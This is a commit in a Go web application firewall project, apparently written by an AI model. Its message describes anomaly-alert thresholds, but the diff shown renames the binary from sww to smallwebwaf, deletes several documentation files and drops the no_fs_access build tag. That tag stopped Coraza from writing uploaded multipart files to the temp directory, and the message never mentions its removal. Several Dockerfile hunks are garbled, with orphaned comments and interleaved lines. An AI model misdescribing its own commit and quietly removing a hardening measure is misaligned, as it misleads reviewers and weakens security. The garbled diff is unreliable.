Anomaly thresholds: alerts for unusual traffic, nothing refused (closes #101 )

SWWAF_ANOMALY_CLIENT_*, _NET_*, _ASN_*, _TOTAL_* and SWWAF_WATCH_* with SWWAF_WATCH_NETS: requests and bytes per minute and per hour, each off by default; with all off, nothing is counted. Otherwise every request but the health check is counted, allow-listed and exempt ones included; a count over its threshold raises an anomaly alert, with a cooldown per scope. At most 20,000 counters, kept in alerts.json. A per-AS-number threshold with lookups off, or a malformed SWWAF_WATCH_NETS, stops the start. A cooldown that has run out is dropped as the hour ends, whatever it held back; the hour's summary gives its repeats. Judgement call: refused requests are counted too. Judgement call: per-client counters are kept in alerts.json, which SPEC.md does not list. Judgement call: a request counts for an AS number only if the lookup answered before it ended. Model: opus-5-5
2026-10-07 14:04:15 +00:00
134 changed files with 9005 additions and 27768 deletions
@@ -36,12 +36,11 @@ RUN go mod tidy -diff || \
    { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
 # Go's build cache is kept on a tmpfs, out of the image: nothing uses it
-# after this step, and writing it into the image takes seconds. The tests
+# after this step, and writing it into the image takes seconds.
 # are built with the no_fs_access tag, as the binary is in the build stage.
 RUN --mount=type=tmpfs,target=/root/.cache/go-build \
-    go test -tags no_fs_access -timeout 90s -race -cover ./... || \
+    go test -timeout 90s -race -cover ./... || \
    { echo "--- Rerunning with -v for details ---"; \
-      go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
+      go test -timeout 90s -race -v ./...; exit 1; }
 # Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
 # writes pass the test phase's check. Nothing else depends on it, so only
@@ -85,10 +84,7 @@ COPY . .
 # The VERSION build arg when one is given, otherwise
 # `git describe --tags --always` on the .git in the build context. With
 # .git present, a version that is still empty, dev or unknown fails the
-# build: git is missing or could not read the checkout. The no_fs_access
+# build: git is missing or could not read the checkout.
 # tag keeps Coraza from writing the files of a multipart body to the
 # system's temporary directory, since sww writes only to its state
 # directory.
 ARG VERSION
 RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
    if [ -e .git ]; then \
@@ -97,9 +93,9 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
            exit 1 ;; \
        esac; \
    fi; \
-    CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
+    CGO_ENABLED=0 go build -trimpath \
        -ldflags="-s -w -X main.Version=${VERSION}" \
-        -o /usr/local/bin/sww ./cmd/sww
+        -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
 # runsvinit, the image's entrypoint, built at the last commit of its
 # archived repository. It has no go.mod, and `go build` of its directory
@@ -117,27 +113,12 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
    && CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" \
        -o /usr/local/bin/runsvinit .
-# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
+# The image an app's Dockerfile builds FROM, described under "Deployment"
-# SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
+# in SPEC.md. It is the last stage, so a plain `docker build .` builds it.
 # It is the last stage, so a plain `docker build .` builds it.
 #
 # ubuntu 26.04, 2026-09-27
 FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7
 # The image's own labels, in place of the ones it would inherit from
 # Ubuntu's. script/docker and script/cibuild pass the build arguments;
 # a build that passes none labels the image unknown rather than leave
 # Ubuntu's values.
 ARG VERSION=unknown
 ARG CREATED=unknown
 ARG REVISION=unknown
 LABEL org.opencontainers.image.title="smallwebwaf" \
    org.opencontainers.image.description="A web application firewall for self-hosted web apps: sww rproxy in front of an app, and sww discriminator, which decides." \
    org.opencontainers.image.version="${VERSION}" \
    org.opencontainers.image.created="${CREATED}" \
    org.opencontainers.image.revision="${REVISION}" \
    org.opencontainers.image.source="https://git.eeqj.de/sneak/smallwebwaf"
 # runit's install creates its _runit-log user with minsysusers, which
 # reads this file in place of runit's /usr/lib/sysusers.d/runit.conf.
 # runit's line leaves out the shell, and minsysusers prints a Perl
@@ -147,11 +128,27 @@ RUN mkdir /etc/sysusers.d \
    && echo 'u  _runit-log  -  "runit svlogd user"  /nonexistent  /sbin/nologin' \
        > /etc/sysusers.d/runit.conf
-# ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches
+# ca-certificates, nix-bin and runit, from Ubuntu's archive as it was at
-# them over plain HTTP and checks each one against the archive's signed
+# the snapshot moment, which is never earlier than the Ubuntu image above.
-# package lists, so no CA certificates are needed.
+# apt checks every package against the snapshot's InRelease files, and
-RUN apt-get update \
+# this step checks those against the hashes named here, which are those
 # of the amd64 archive: other architectures use Ubuntu's ports archive.
 # apt also fetches the live archive's InRelease files, which change daily
 # and which the install does not use. The snapshot service is HTTPS only
 # and this image has no CA certificates yet, so this step uses the Go
 # image's.
 RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \
    apt-get update --snapshot 20261001T000000Z \
        -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
    && printf '%s\n' \
        '45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \
        '802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \
        '64b3353f0bd4970b4f7271962245bcea9ff24d4cc7bea16b433f8a60e42ca3dd  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-backports_InRelease' \
        '1d5041572116a8b23aabf79ac7439ad8af83d57ad3fb0f9aa0d4523ec10c5908  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-security_InRelease' \
        | (cd /var/lib/apt/lists && sha256sum --check --strict) \
    && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
        --snapshot 20261001T000000Z \
        -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
        ca-certificates nix-bin runit \
    && rm -rf /var/lib/apt/lists/*
@@ -180,27 +177,27 @@ RUN curl -fsSL -o /tmp/nixexprs.tar.xz \
 ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin
 COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit
-COPY --from=builder /usr/local/bin/sww /usr/local/bin/sww
+COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf
 # 65532 is above the uids Ubuntu keeps for system users, which end at
 # 999; useradd warns about it unless --key raises that end for this call.
-RUN groupadd --system --gid 65532 sww \
+RUN groupadd --system --gid 65532 smallwebwaf \
    && useradd --system --key SYS_UID_MAX=65532 --uid 65532 \
-        --gid sww --no-create-home --shell /usr/sbin/nologin \
+        --gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \
-        sww
+        smallwebwaf
-# The state files' directory, SWW_STATE_DIR by default, where a volume
+# The state files' directory, SWWAF_STATE_DIR by default, where a volume
 # is mounted to keep them across deploys. The run script gives it to the
-# sww user at each start of discriminator.
+# smallwebwaf user at each start.
-RUN mkdir /var/lib/sww
+RUN mkdir /var/lib/smallwebwaf
-# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
+# The default rule file, in SWWAF_RULES_DIR by default, where an app's
-# built FROM this image can copy rule files of its own beside it.
+# Dockerfile can copy rule files of its own beside it.
-COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
+COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules
 # runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv
 # looks too.
-COPY --chmod=755 share/sww.run /etc/service/sww/run
+COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run
 EXPOSE 8080
@@ -208,6 +205,6 @@ EXPOSE 8080
 # check runs every second from the start until it first passes, for up
 # to a minute, and every 30 seconds after that.
 HEALTHCHECK --start-period=1m --start-interval=1s \
-    CMD ["/usr/local/bin/sww", "healthcheck"]
+    CMD ["/usr/local/bin/smallwebwaf", "healthcheck"]
 ENTRYPOINT ["/usr/local/bin/runsvinit"]
@@ -153,15 +153,15 @@ Closest existing options, and why each still falls short:
    - What it is: a single-binary reverse proxy that makes browsers solve a
      proof-of-work challenge before passing them to `TARGET`. Aimed at
      scrapers, which is likely a large share of unwanted traffic on a public
-      code forge.
+      gitea.
    - Covers: R10 well (one container, env vars for listener, target,
      difficulty, cookies). Policy rules can match on path, user agent, headers,
      IP ranges, and with the vendor's hosted data service also AS number and
      country, and can weigh a request toward a harder challenge.
    - Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env
      vars. AS number and country matching depend on the vendor's hosted
-      service. Breaks non-browser clients unless paths are exempted; for a code
+      service. Breaks non-browser clients unless paths are exempted; for gitea,
-      forge, git-over-HTTP and API paths must be allowed through by rule.
+      git-over-HTTP and API paths must be allowed through by rule.
    - Maturity: very active, widely deployed on code forges since 2025.
    - Value here: complementary. It can be chained (traefik, then the sidecar,
      then Anubis, then the app) if challenge pages are wanted.
@@ -0,0 +1,18 @@
 // Command smallwebwaf is a web application firewall for one app: it runs
 // between traefik and the app, and passes requests through within its
 // limits. Everything it does is in internal/smallwebwaf.
 package main
 import (
 	"os"
 	"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
 )
 // Version is the version of the binary, set when it is built with
 // -ldflags "-X main.Version=...".
 var Version = "dev" //nolint:gochecknoglobals // the linker sets it
 func main() {
 	os.Exit(smallwebwaf.Main(Version))
 }
@@ -1,20 +0,0 @@
 // Command sww is a web application firewall. `sww rproxy` is the reverse
 // proxy in front of one app, which asks discriminator about each request.
 // `sww discriminator` decides, for many sites, and keeps what lasts. `sww
 // healthcheck` is the container's health check. Everything it does is in
 // internal/sww.
 package main
 import (
 	"os"
 	"sneak.berlin/go/smallwebwaf/internal/sww"
 )
 // Version is the version of the binary, set when it is built with
 // -ldflags "-X main.Version=...".
 var Version = "dev" //nolint:gochecknoglobals // the linker sets it
 func main() {
 	os.Exit(sww.Main(Version))
 }
@@ -6,12 +6,8 @@
 # A real app names the smallwebwaf image by digest. This one takes the
 # image script/example-app has just built, or else the one `make docker`
 # builds.
-ARG SWW_IMAGE=smallwebwaf
+ARG SMALLWEBWAF_IMAGE=smallwebwaf
-FROM ${SWW_IMAGE}
+FROM ${SMALLWEBWAF_IMAGE}
 # Its own title and description, in place of the smallwebwaf image's.
 LABEL org.opencontainers.image.title="smallwebwaf-example-app" \
    org.opencontainers.image.description="An example app built on the smallwebwaf image."
 # Packages the app needs, from the nixpkgs in the image.
 RUN nix-env -iA nixpkgs.busybox
@@ -1,60 +0,0 @@
 # Admin endpoints
 The endpoints under `/_sww/`, what each takes and what each answers.
 `sww discriminator` answers them at its own address, on the private network.
 "Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
 - `GET /_sww/healthz`: `200` and `ok`, to anyone.
 - `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
  [`metrics.md`](metrics.md)).
 - `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
  Needs `SWW_ADMIN_TOKEN`, as do the three below.
 - `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
  `duration` and, if you like, `reason`. `netblock` is a netblock such as
  `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
  (`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
  as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
  wrong:
    - one that is not such an object, or has another field;
    - one longer than 4 KiB;
    - one that names an IPv4-mapped netblock, or an address with a zone.
 - `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
  `<client>`. It answers `404` when none is active.
 - `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
  `client`, its counters and history as `clients.json` holds them, or `null`
  when `clients.json` does not hold it. Under `bans`, every ban covering the
  address, with its notes.
 - `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
  `204`, or `400` to a body that is no report (see "The report" in
  [`SPEC.md`](../SPEC.md)).
 No check runs on these requests. A missing or wrong token is answered `401`. An
 endpoint whose token is unset answers `404`, as does any other path.
 `sww rproxy` answers only the health check of these, at its own address. It asks
 `discriminator` about any other request under `/_sww/`. One that passes the
 checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
 in [`SPEC.md`](../SPEC.md)).
 ## Examples
 With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
 as `discriminator:8080` on its network:
 ```sh
 # Every ban.
 curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
 # Ban 203.0.113.0/24 for seven days.
 curl -H "Authorization: Bearer $TOKEN" \
    --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
    http://discriminator:8080/_sww/bans
 # Lift the bans on 203.0.113.9.
 curl -H "Authorization: Bearer $TOKEN" -X DELETE \
    http://discriminator:8080/_sww/bans/203.0.113.9
 # What discriminator knows of 203.0.113.9.
 curl -H "Authorization: Bearer $TOKEN" \
    http://discriminator:8080/_sww/clients/203.0.113.9
 ```
@@ -1,137 +0,0 @@
 # Alerts
 The alert events, the JSON object the webhook gets, and the messages Slack and
 ntfy get. "Alerting" in [`SPEC.md`](../SPEC.md) says when an alert is sent, held
 back or dropped.
 ## Events
 - `ban`: a ban `discriminator` made.
 - `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
  a request.
 - `waf_block`: the Core Rule Set scored a request at or over the threshold. The
  request was refused unless the alert's `detail` gives `mode`: `detect` or
  `observe`.
 - `anomaly`: a count over an anomaly threshold.
 - `reputation_hit`: a request from a client on a blocklist, the CrowdSec
  decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
  One alert per source.
 - `source_failure`: one of:
    - GeoJS failing;
    - a list that cannot be fetched;
    - a DNS blocklist or AbuseIPDB failing or refusing a query;
    - the day's AbuseIPDB checks used up.
 - `file_error`: one of:
    - a rule file or state file edit with an error;
    - a state file that cannot be written;
    - a replacement lookup database that cannot be read.
 - `summary`: the hourly summary of alerts held back.
 ## The JSON object
 This is the alert for a ban for a broken rate limit, shown indented; it is sent
 on one line:
 ```json
 {
    "instance": "fsn1/discriminator",
    "time": "2026-10-06T12:00:50.123461Z",
    "event": "ban",
    "host": "app.example",
    "client": "203.0.113.9",
    "netblock": "203.0.113.9/32",
    "asn": "",
    "as_name": "",
    "country": "",
    "reason": "requests per minute over the limit of 500",
    "detail": {
        "ban_expires": "2026-10-06T13:00:50.123Z",
        "cause": "limit",
        "notes": {
            "asn": "",
            "as_name": "",
            "country": "",
            "kind": "requests",
            "limit": 500,
            "window": "minute",
            "count": 501,
            "request": {
                "time": "2026-10-06T12:00:50.123456789Z",
                "method": "GET",
                "host": "app.example",
                "path": "/owner/repo/commits/branch/main?page=501",
                "status": 403,
                "user_agent": "scraper/1.0"
            },
            "requests": 501,
            "refused": 0,
            "earlier_bans": {
                "limit": 0,
                "attack": 0,
                "admin": 0,
                "crowdsec": 0
            }
        }
    },
    "suppressed_repeats": 0
 }
 ```
 - `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
  one of the events above.
 - `host`: the site of the request that raised the alert, since one
  `discriminator` serves many sites. It is left out of `source_failure`,
  `file_error` and `summary`.
 - `client`: the address whose request raised the alert. Empty for
  `source_failure`, `file_error` and `summary`.
 - `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
  one of:
    - the ban's netblock;
    - the netblock an anomaly counted, empty in the `asn` and `total` scopes;
    - for the other events, the client as rate limiting counts it: an IPv4
      address as a /32, or an IPv6 group.
 - `asn`, `as_name` and `country`: the client's, as known when the alert was
  raised. They are empty when GeoJS had not answered yet.
 - `reason`: a short sentence, such as
  `requests per minute over the limit of 500` or `listed by a blocklist`.
 - `detail`: what is particular to the event:
    - for a ban, its `cause`, `ban_expires` and `notes` (the notes are listed
      under `bans.json` in [`state-files.md`](state-files.md));
    - for an anomaly, the `scope`, `window`, `kind`, `count` and `threshold`;
    - for a reputation hit, the `source` and, for AbuseIPDB, the `score`;
    - for a Core Rule Set match, the `rule_ids`, `score`, `method` and `path`;
    - for a source failure, the `source` and `error`;
    - for a file error, the `file` and `error`;
    - for a summary, the `hour` it covers, the `count` of alerts held back, and
      that count by event in `events`;
    - `mode`, when the request was not refused: `detect` or `observe`.
 - `suppressed_repeats`: how many repeats the cooldown held back before this
  alert.
 ## Slack and ntfy
 Slack and ntfy get a message with a title and a text. The title is the instance
 and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
 one line for each of these that the alert has:
 - the host, the client, the netblock and the country;
 - the file, the source, the error and the mode from `detail`;
 - the suppressed repeats, if any.
 Slack gets the title in bold and the text below it, with `&`, `<` and `>`
 escaped. ntfy gets the text as the message, with these headers:
 - `Title`: the title;
 - `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
  is set;
 - `Priority` and `Tags`: by event, as listed below.
 The priority and tag by event:
 - `ban`: priority `default`, tag `no_entry`.
 - `permanent_ban`: priority `high`, tag `no_entry`.
 - `waf_block`: priority `default`, tag `shield`.
 - `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
 - `reputation_hit`: priority `low`, tag `label`.
 - `source_failure` and `file_error`: priority `high`, tag `warning`.
 - `summary`: priority `default`, tag `bar_chart`.
@@ -1,35 +0,0 @@
 # What the image holds
 The contents of the `smallwebwaf` image, and how each part is pinned. The image
 runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
 "Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
 is pinned that way.
 ## Contents
 - Ubuntu 26.04 LTS, pinned by digest.
 - `ca-certificates`, `nix-bin` and `runit` from Ubuntu's archive.
 - Nix, with nixpkgs `nixos-26.05.11045.774debe7a0d1` set up for root as
  `nixpkgs`. No Nix daemon; `build-users-group =` in `/etc/nix/nix.conf`. Root's
  Nix profile, `/nix/var/nix/profiles/default/bin`, last on the `PATH`.
  Unpacked, nixpkgs takes about 500 MiB.
 - `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
  at a fixed commit hash.
 - The `sww` binary, and the user `sww` (uid and gid 65532).
 - The service directory `/etc/service/sww`, with the `run` script
  `share/sww.run`.
 - `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
  the default rule file `share/rules.d/00-default.rules`.
 - `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
 ## Pins
 - Ubuntu's packages are not pinned: they come from the live archive, whose
  packages change with every update.
 - nixpkgs: the release file `nixexprs.tar.xz` of
  `nixos-26.05.11045.774debe7a0d1` on `releases.nixos.org`, named with its
  SHA-256 hash.
 - `runsvinit`: the archived repository, unchanged since 2015, at its last commit
  (`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
  build writes.
 - The Go image that builds `sww`: by digest.
@@ -1,84 +0,0 @@
 # The metrics
 What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
 "Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
 keeps the `instance` label as `exported_instance` unless the scrape sets
 `honor_labels: true`. `rproxy` has no metrics.
 ## Traffic
 - `sww_requests_total`, `sww_request_bytes_total` and
  `sww_response_bytes_total`, by `status_class` such as `2xx` and by `action`;
 - `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
  histograms;
 - `sww_requests_in_flight`: the questions and requests to its own endpoints that
  `discriminator` is handling.
 ## Limits and bans
 - `sww_rate_limit_hits_total`, by `window` and by `kind` (`requests`, `bytes` or
  `refusals`);
 - `sww_offences_total`, by `kind`;
 - `sww_bans_made_total`, by `cause`;
 - `sww_active_bans` and `sww_permanent_bans`.
 ## Attack detection
 - `sww_rule_matches_total`, by `rule_id` and `action`, and `sww_rules_loaded`;
 - `sww_waf_matches_total`, by `mode` and `rule_id`, for the rules that fired.
 ## Countries and AS numbers
 For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
 - `sww_country_requests_total`, `sww_country_request_bytes_total`,
  `sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
  `country`;
 - `sww_asn_requests_total`, `sww_asn_request_bytes_total` and
  `sww_asn_response_bytes_total`, by `asn`.
 ## Lookups
 - `sww_geojs_requests_total` and `sww_geojs_failures_total`;
 - `sww_geojs_unanswered_total`: the requests that needed an answer and went on
  without it;
 - with the file source, `sww_lookup_database_last_read_timestamp_seconds` and
  `sww_lookup_database_read_failures_total`.
 ## Reputation sources
 By `source`: each list's URL, each zone, and `abuseipdb`:
 - `sww_reputation_hits_total`, `sww_reputation_queries_total` and
  `sww_reputation_failures_total`;
 - `sww_reputation_last_fetch_timestamp_seconds`, for a list;
 - `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
 ## State files
 By `file`:
 - `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
  `sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
 - `sww_state_file_edits_taken_in_total` and
  `sww_state_file_edits_set_aside_total`;
 - `sww_tracked_clients`: the clients in the table.
 ## Remote log, alerts and the process
 - while a syslog server is set, `sww_remote_log_lines_sent_total`,
  `sww_remote_log_lines_dropped_total` and `sww_remote_log_buffer_depth`;
 - by `destination`, `sww_alerts_sent_total`, `sww_alerts_failed_total`,
  `sww_alerts_suppressed_total` and `sww_alerts_dropped_total`;
 - Go's own `go_` metrics and the process's `process_` metrics.
 ## When a request is counted
 `discriminator` counts a denied request at its decision, and a request to its
 own endpoints when it is answered. It counts an allowed request when its report
 comes, with the status, bytes and times the report gives. These are not counted:
 - a report itself;
 - an allowed request whose report never comes;
 - a question refused with `400`;
 - a question whose body stopped arriving.
@@ -1,207 +0,0 @@
 # The request log's fields
 The fields of the JSON objects `rproxy` and `discriminator` write about each
 request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
 is written and how the log is sent to a syslog server. A field that does not
 apply to a request is left out.
 ## `discriminator`'s lines
 `sww discriminator` writes two lines for each question it answers, joined by
 `request_id`. The field `discriminator_line` says which of the two a line is:
 - `decision`: the line it writes once it has answered the question;
 - `report`: the line it writes when `rproxy`'s report comes, with everything
  known. The repetition is intended.
 A request to its own endpoints writes one line, without `discriminator_line`. A
 report writes no line but the `report` line of the request it names.
 These questions write no line:
 - a question refused with `400` (see "The question" under "`discriminator`" in
  [`SPEC.md`](../SPEC.md));
 - a question whose body stopped arriving, which gets no answer.
 A `report` line:
 ```
 {"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"waf_score":0,"duration_total":3.217,"duration_checks":0.041,"duration_waf":0.029,"duration_upstream_total":3.104}
 ```
 ### Every line
 Every one of these lines has:
 - `type`: `request` (the process's own messages have `process`);
 - the standard web log fields;
 - `request_id`, `peer_ip` and `client_group`;
 - `asn`, `as_name` and `country`;
 - `action` and `duration_total`.
 ### Standard web log fields
 - `time`: when `discriminator` had read the question's body, RFC 3339 with
  milliseconds, in UTC. The `report` line gives the same time as the `decision`
  line.
 - `instance`: `SWW_INSTANCE_NAME`.
 - `client_ip`: the visitor's address, as `rproxy` worked it out.
 - `method`, `path` and `query`: the visitor's request.
 - `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
  it.
 - `host`: the site the visitor asked for.
 - `protocol`: the question's own, `HTTP/1.1`.
 - `status`:
    - on the `decision` line, what `discriminator` answered: `200` for `allow`,
      the status of `deny`, or `0` for `close`, as the visitor is then sent
      nothing;
    - on the `report` line, what the visitor got, `0` if nothing.
 - `request_bytes`:
    - on the `decision` line, how much of the question's body the Core Rule Set
      read;
    - on the `report` line, the bytes of the visitor's body that `rproxy` read,
      with what a WebSocket carried from the visitor.
 - `response_bytes`:
    - on the `decision` line, the body of `discriminator`'s answer;
    - on the `report` line, the bytes of the answer's body, with what a
      WebSocket carried from the app.
 - `referer` and `user_agent`.
 ### Request detail
 - `request_id`: the id `rproxy` made for the request when it arrived.
 - `peer_ip`: the address of `rproxy`'s TCP peer, normally traefik.
 - `forwarded_for`: the `X-Forwarded-For` header the visitor's request came with.
 - `client_group`: the client as rate limiting counts it, an IPv4 address as a
  /32 or an IPv6 group.
 - `asn`, `as_name` and `country`: the client's, as looked up. Each is empty
  when:
    - lookups are off;
    - the client is not looked up;
    - the source cannot place the client;
    - GeoJS had not answered by the time `discriminator` answered.
 - `content_type`: the visitor's `Content-Type`.
 - `content_length`: the body length the visitor announced.
 - `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
  lower case.
 - `has_authorization` and `has_cookie`: true when the request had those headers.
  Their values are never logged.
 ### Response detail
 - `response_content_type`: the type of `discriminator`'s own answer.
 - `aborted`: true when `rproxy` went away before the answer.
 ### Decision
 - `action`: what was done:
    - `forward`: answered `allow`, so that `rproxy` passes it to the app;
    - `denied`: refused for `SWW_DENY_NETS`, or for a reputation source with the
      action `deny`;
    - `banned`: refused under a ban, or for a `ban` rule, a trap path or a
      CrowdSec decision, each of which bans the client;
    - `country_denied`, `rate_limited`, `rule_blocked` and `waf_blocked`:
      refused by that check;
    - `too_large`: over a header limit;
    - `admin`: answered at one of `discriminator`'s own endpoints, or `404` for
      a path under `/_sww/`.
 - `would_action`: in `observe` mode, what `enforce` mode would have done with a
  request it would have refused. `action` then names what was done, normally
  `forward`.
 - `limit_percent` and `limit_percent_setting`: the client's percentage of the
  rate limits and the setting that lowered it, when one did. `bytes_percent` and
  `bytes_percent_setting` do the same for the byte limits.
 - `counts`: the client's totals as rate limiting counts them, this request
  included. It is left out when rate limiting did not count the request. It
  holds:
    - `minute`, `hour` and `day`: requests;
    - `minute_bytes`, `hour_bytes` and `day_bytes`: bytes.
    A count can have a fraction (see "Counting method" in
    [`SPEC.md`](../SPEC.md)). The bytes of an allowed request are counted when
    its report comes. So on the `decision` line, the bytes are without this
    request's.
 - `limit_hit`: the limit broken:
    - `minute`, `hour` or `day` for a rate limit;
    - `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
    - `error_burst`.
    A request whose bytes broke a limit was passed on whole, so its `action`
    stays `forward`. Only its `report` line gives that limit.
 - `rule_ids`: the rule file rules that matched, in order, up to the one that
  refused.
 - `waf_score` and `waf_rule_ids`: the Core Rule Set's score and the rules that
  matched, for a request it inspected.
 - `reputation`: the sources the client is on, in this order:
    - blocklist URLs;
    - the CrowdSec decision list's URL;
    - DNS blocklist zones;
    - `abuseipdb`.
 - `offence`: `limit`, for a request that broke a limit.
 - `ban_expires`: when the client's ban ends, for a request that made one or was
  refused under one: a time, or `permanent`.
 ### Timings
 All in milliseconds:
 - `duration_total`:
    - on the `decision` line, from `discriminator` having read the question's
      body to the line;
    - on the `report` line, from `rproxy` having read the request's headers to
      the end of the answer.
 - `duration_checks`: to the end of the checks;
 - `duration_waf`: the part of that the Core Rule Set took;
 - `duration_upstream_total`: on the `report` line of an allowed request, from
  the hand-over to the app to the end of the answer.
 ### Requests to its own endpoints
 The line of a request to `discriminator`'s own endpoints has these fields, with
 these meanings where they differ:
 - `client_ip` and `peer_ip`: the request's TCP peer.
 - `request_id`: a new random one of 26 letters and digits.
 - `scheme`: `http`.
 - `time`: when the request's headers had been read.
 - `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
 - `action`: `admin`.
 - `duration_total`: from the request's headers being read to the line.
 ## `rproxy`'s line
 `sww rproxy` writes one short line for each request. `request_id` joins it to
 `discriminator`'s two. It has these fields and no others:
 - `type`: `request`.
 - `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
 - `request_id`: the id `rproxy` made for the request when it arrived.
 - `client_ip`: the visitor's address.
 - `host` and `method`.
 - `path` and `query`: as the visitor sent them.
 - `status`: what the visitor got, `0` if nothing.
 - `request_bytes`: the bytes of the visitor's body that `rproxy` read, with what
  a WebSocket carried from the visitor.
 - `response_bytes`: the bytes of the answer's body, with what a WebSocket
  carried from the app.
 - `duration_request`: milliseconds from the request's headers being read until
  the app had been sent the whole request, or the answer started if that was
  sooner. It includes the wait for `discriminator`.
 - `duration_response`: milliseconds from then until the end of the answer.
 - `disposition`: what was done with the request: `allow`, `deny` or `close`. It
  is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
  left out when:
    - `discriminator` was not asked, as for the health check;
    - the visitor went away while `discriminator` was being asked;
    - `discriminator`'s answer had no valid `X-Sww-Disposition`;
    - `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
 - `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
  `disposition`, and otherwise left out.
 For example:
 ```
 {"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request":1.204,"duration_response":3.104,"disposition":"allow"}
 ```
@@ -1,73 +0,0 @@
 # Rule files
 The format of a rule file, and the default file the image ships. "Rule files" in
 [`SPEC.md`](../SPEC.md) says how the files are read, watched and mounted, and
 what each action leads to.
 ## The format
